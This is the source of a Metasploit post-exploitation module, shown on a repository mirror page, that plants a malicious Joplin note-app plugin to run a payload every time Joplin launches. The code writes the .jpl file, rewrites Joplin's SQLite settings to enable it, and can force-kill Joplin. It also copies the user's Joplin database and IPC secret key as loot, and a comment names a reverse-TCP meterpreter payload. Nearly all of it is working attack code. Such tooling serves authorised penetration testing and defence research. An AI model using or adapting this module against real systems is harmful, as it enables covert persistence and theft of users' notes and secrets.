/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/persistence/joplin_plugin.rb
410 строк
13 KB
h00die
remove osx references
05 июн 2026, 13:21
05 июн 2026, 13:21
7f02d1d
Код
Авторство
О чём код?
# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'sqlite3' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report include Msf::Exploit::Local::Persistence def initialize(info = {}) super( update_info( info, 'Name' => 'Joplin Plugin Persistence', 'Description' => %q{ This module installs a malicious Joplin plugin (.jpl) into the target's Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing persistent code execution. Joplin can not be running at the time of plugin installation, or it will be overwriten at shutdown. The module can optionally kill Joplin if it is detected running. Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die' # Module ], 'DisclosureDate' => '2017-12-07', # initial joplin release date 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => false, 'References' => [ [ 'URL', 'https://joplinapp.org/help/api/get_started/plugins/' ], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS] ], 'Arch' => [ARCH_CMD], 'Platform' => %w[linux windows], 'Payload' => { 'Space' => 8191, 'DisableNops' => true }, 'Targets' => [ ['Windows', { 'Platform' => 'windows' }], # set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp ['Linux', { 'Platform' => %w[linux unix] }], # ['OSX', { 'Platform' => %w[linux unix] }] ], 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DefaultTarget' => 0 ) ) register_options([ OptString.new('NAME', [false, 'Name of the plugin', '']), OptString.new('DESCRIPTION', [false, 'Description of the plugin', '']), OptString.new('USER', [false, 'User to target, or current user if blank', '']), OptString.new('DATABASE', [false, 'Full path to Joplin database.sqlite on target (auto-detected if blank)', '']), OptBool.new('KILLJOPLIN', [false, 'Kill Joplin if it is running before modifying the database', false]) ]) deregister_options('WritableDir') end def plugin_name # memoized so manifest and install path always use the same name @plugin_name ||= if datastore['NAME'].blank? rand_text_alphanumeric(4..10) else datastore['NAME'] end end def plugin_id @plugin_id ||= "com.#{rand_text_alpha(4..8).downcase}.#{plugin_name}" end def manifest { 'manifest_version' => 1, 'id' => plugin_id, 'app_min_version' => '3.2', 'version' => '1.0.0', 'name' => plugin_name, 'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'], 'author' => '', 'homepage_url' => '', 'repository_url' => '', 'keywords' => [], 'categories' => [], 'screenshots' => [], 'icons' => {}, 'promo_tile' => {} }.to_json end def index_js ::File.read(::File.join(Msf::Config.data_directory, 'exploits', 'joplin_plugin', 'index.js.template')) end def create_plugin_tar(pload) tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| t.add_file('manifest.json', 0o644) do |f| f.write(manifest) end t.add_file('index.js', 0o644) do |f| f.write(index_js) end t.add_file('external', 0o644) do |f| f.write([pload].pack('m0')) end end tar.seek(0) data = tar.read tar.close data end def target_user return datastore['USER'] unless datastore['USER'].blank? return create_process('cmd.exe', args: ['/c', 'echo', '%USERNAME%']).strip if ['windows', 'win'].include? session.platform whoami end def joplin_base_dirs user = target_user vprint_status("Target user: #{user}") case session.platform when 'windows', 'win' [ "C:\\Users\\#{user}\\.config\\joplin-desktop", "C:\\Users\\#{user}\\.config\\joplin", "C:\\Users\\#{user}\\AppData\\Roaming\\joplin", "C:\\Users\\#{user}\\AppData\\Roaming\\joplin-desktop" ] # when 'osx' # [ # "/Users/#{user}/Library/Application Support/joplin", # "/Users/#{user}/Library/Application Support/joplin-desktop" # ] else # linux home = user == 'root' ? '/root' : "/home/#{user}" [ "#{home}/.config/joplin", "#{home}/.config/joplin-desktop", "#{home}/snap/joplin-desktop/current/.config/joplin-desktop" ] end end def check joplin_base_dirs.each do |dir| return CheckCode::Appears("Joplin installation found: #{dir}") if directory?(dir) end CheckCode::Safe('No Joplin installation found') end def windows? ['windows', 'win'].include?(session.platform) end def joplin_running? if windows? !create_process('powershell', args: ['-Command', 'Get-Process -Name Joplin* -ErrorAction SilentlyContinue']).strip.empty? else !create_process('pgrep', args: ['-i', 'joplin']).strip.empty? end end def kill_joplin if windows? create_process('powershell', args: ['-Command', 'Stop-Process -Name Joplin -Force -ErrorAction SilentlyContinue']) else create_process('pkill', args: ['-i', 'joplin']) end Rex.sleep(2) if joplin_running? print_warning('Joplin is still running after kill attempt') return false end print_good('Joplin killed successfully') true end def find_joplin_database user = target_user print_status('Searching for Joplin database...') if session.type == 'meterpreter' && windows? search_root = "C:\\Users\\#{user}" begin results = session.fs.file.search(search_root, 'database.sqlite', true) results.each do |r| path = "#{r['path']}\\#{r['name']}" vprint_status(" Found: #{path}") return path if path.downcase.include?('joplin') end rescue Rex::Post::Meterpreter::RequestError => e print_warning("Meterpreter file search failed: #{e.message}") end return nil end # Shell session fallback if windows? results = create_process('powershell', args: ['-Command', "Get-ChildItem -Path 'C:\\Users\\#{user}' -Recurse -Filter 'database.sqlite' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName"]).strip else home = user == 'root' ? '/root' : "/home/#{user}" results = create_process('find', args: [home, '-name', 'database.sqlite']).strip end results.lines.each do |path| path = path.strip next if path.empty? vprint_status(" Found: #{path}") return path if path.downcase.include?('joplin') end nil end def register_plugin(base_dir, plugin_id) sep = windows? ? '\\' : '/' db_path = if datastore['DATABASE'].present? datastore['DATABASE'] else "#{base_dir}#{sep}database.sqlite" end unless file?(db_path) print_warning("Joplin database not found at: #{db_path}") db_path = find_joplin_database if db_path.nil? print_warning('Set DATABASE to the correct path and re-run, or enable the plugin manually via Tools > Plugins') return end print_good("Found database at: #{db_path}") end print_status('Downloading Joplin database...') db_data = read_file(db_path) loot_path = store_loot( 'joplin.database', 'application/x-sqlite3', session.session_host, db_data, 'database.sqlite', 'Joplin SQLite database' ) print_good("Database saved to loot: #{loot_path}") begin db = SQLite3::Database.new(loot_path) # Load all rows in Ruby and filter client-side: the unique index can become # corrupted (orphaned rows not tracked by the index), causing INSERT OR REPLACE # to miss stale entries. Joplin does a full table scan on startup and crashes # if it finds two rows with the same key. all_rows = db.execute('SELECT rowid, key, value FROM settings') existing = all_rows.select { |r| r[1] == 'plugins.states' } vprint_status("Found #{existing.length} existing plugins.states row(s)") states = {} if existing.any? begin states = JSON.parse(existing.first[2]) rescue JSON::ParserError => e print_warning("Could not parse existing plugins.states: #{e.message}") end existing.each { |row| db.execute('DELETE FROM settings WHERE rowid=?', [row[0]]) } end states[plugin_id] = { 'enabled' => true, 'deleted' => false, 'hasBeenUpdated' => false } new_json = JSON.generate(states) tbl = Rex::Text::Table.new( 'Header' => 'Joplin Plugin States', 'Indent' => 4, 'Columns' => ['Plugin ID', 'Enabled', 'Deleted', 'Has Been Updated'] ) states.each { |id, s| tbl << [id, s['enabled'], s['deleted'], s['hasBeenUpdated']] } print_line(tbl.to_s) # Use a SQL literal for the key: the sqlite3 gem binds Ruby string parameters # as BLOB in MSF's encoding context, but Joplin queries with WHERE key='plugins.states' # (TEXT literal), which never matches a BLOB — the plugin would be invisible. db.execute("INSERT INTO settings (key, value) VALUES ('plugins.states', ?)", [new_json]) db.close rescue LoadError print_warning('sqlite3 gem not available — enable the plugin manually via Tools > Plugins') return rescue SQLite3::Exception => e print_warning("Failed to modify database: #{e.message}") return end print_status('Re-uploading modified database...') write_file(db_path, ::File.binread(loot_path)) ['-wal', '-shm'].each do |ext| wal = "#{db_path}#{ext}" next unless file?(wal) print_status("Removing #{ext} file to prevent WAL replay: #{wal}") rm_f(wal) end print_good('Plugin registered in Joplin database') [loot_path, db_path] end def loot_ipc_key(base_dir) sep = windows? ? '\\' : '/' key_path = "#{base_dir}#{sep}ipc_secret_key.txt" unless file?(key_path) print_warning("ipc_secret_key.txt not found at #{key_path}") return end key_data = read_file(key_path) loot_path = store_loot( 'joplin.ipc_secret_key', 'text/plain', session.session_host, key_data, 'ipc_secret_key.txt', 'Joplin IPC secret key' ) print_good("IPC secret key saved to loot: #{loot_path}") end def install_persistence print_status("Using plugin name: #{plugin_id}") base_dir = joplin_base_dirs.find { |dir| directory?(dir) } fail_with(Failure::NotFound, 'No Joplin installation found') if base_dir.nil? loot_ipc_key(base_dir) sep = windows? ? '\\' : '/' plugin_dir = "#{base_dir}#{sep}plugins" plugin_path = "#{plugin_dir}#{sep}#{plugin_id}.jpl" unless directory?(plugin_dir) print_status("Creating plugins directory: #{plugin_dir}") mkdir(plugin_dir, cleanup: false) end jpl_data = create_plugin_tar(payload.encoded) print_status("Writing plugin to: #{plugin_path} (#{jpl_data.length} bytes)") write_file(plugin_path, jpl_data) # Verify AV did not immediately quarantine/delete the file if file?(plugin_path) print_good("Plugin written to #{plugin_path}") else print_warning("Plugin file missing after write — may have been quarantined by AV: #{plugin_path}") end if joplin_running? if datastore['KILLJOPLIN'] print_status('Joplin is running — killing it before modifying the database...') if kill_joplin result = register_plugin(base_dir, plugin_id) else print_warning('Could not kill Joplin — skipping database registration.') print_warning('Close Joplin manually and re-run this module so the plugin registration persists.') result = nil end else print_warning('Joplin is currently running — the database modification will be overwritten when Joplin closes.') print_warning('Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.') print_warning('The .jpl file has been written; only the database registration step will be skipped.') result = nil end else result = register_plugin(base_dir, plugin_id) end if windows? @clean_up_rc << "del /f \"#{plugin_path}\"\n" else @clean_up_rc << "rm -f \"#{plugin_path}\"\n" end if result original_db_loot, db_path = result @clean_up_rc << "upload #{original_db_loot} #{db_path}\n" end if result print_status('Joplin is not running — launch it to trigger the plugin') end print_status("If the payload does not execute, check log files in #{base_dir} for plugin errors") end end